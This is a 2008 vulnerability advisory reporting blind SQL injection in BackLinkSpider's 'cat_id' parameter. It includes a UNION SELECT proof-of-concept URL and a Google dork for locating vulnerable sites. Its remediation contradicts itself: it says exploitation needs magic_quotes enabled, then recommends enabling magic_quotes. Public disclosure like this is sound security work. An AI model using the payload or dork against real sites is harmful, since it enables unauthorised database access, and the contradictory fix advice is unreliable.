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ECHO_ADV_95$2008
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[ECHO_ADV_95$2008] BackLinkSpider (cat_id) Blind Sql Injection Vulnerability
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Author : M.Hasran Addahroni
Date : May, 5 th 2008
Location : Jakarta, Indonesia
Web : http://advisories.echo.or.id/adv/adv95-K-159-2008.txt
Critical Lvl : Medium
Impact : System access
Where : From Remote
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Affected software description:
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Application : BackLinkSpider
version : unknown
Vendor : http://www.backlinkspider.com/
Description :
BackLinkSpider is a free link exchange service designed to provide you with access to a growing number of link exchange partners in our link directory page
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Vulnerability:
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Input passed to the "cat_id" parameter in backlinkspider's page is not properly verified before being used to sql query.
This can be exploited to execute sql query through the browser.
Successful exploitation requires that "magic_quotes" is enabled.
Poc/Exploit:
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http://www.target.com/[backlinkspider_page_name].php?cat_id=[SQL]
http://www.target.com/[backlinkspider_page_name].php?cat_id=-1%20union%20select%201,2,3,4,5,6,7,8,9,0,1,version(),3,4,5,6,7,8,9,0/*
Dork:
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Google : "Powered By BackLinkSpider" "inurl:backlinkspider.php"
Solution:
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- Edit the source code to ensure that input is properly verified.
- Turn on magic_quotes in php.ini
Timeline:
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- 03 - 05 - 2008 bug found
- 05 - 05 - 2008 advisory released
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Shoutz:
~~~~~
~ ping - my dearest wife, zautha my light of eyes, for all the luv the tears n the breath
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~ everybody [at] SCAN-NUSANTARA and SCAN-ASSOSIATES
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,an0maly,cybertank,super_temon,b120t0,inggar,fachri,adi,rahmat,indra,cyb3rh3b
~ dr188le,SinChan,h4ntu,cow_1seng,poniman_coy, ketut, rizal, cR4SH3R, kuntua, stev_manado, nofry,k1tk4t,0pt1c
~ newbie_hacker@yahoogroups.com
~ #aikmel #e-c-h-o @irc.dal.net
~ special for rgod - good bye mate, thanks for the great works.
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Contact:
~~~~~~
K-159 || echo|staff || eufrato[at]gmail[dot]com
Homepage: http://k-159.echo.or.id/
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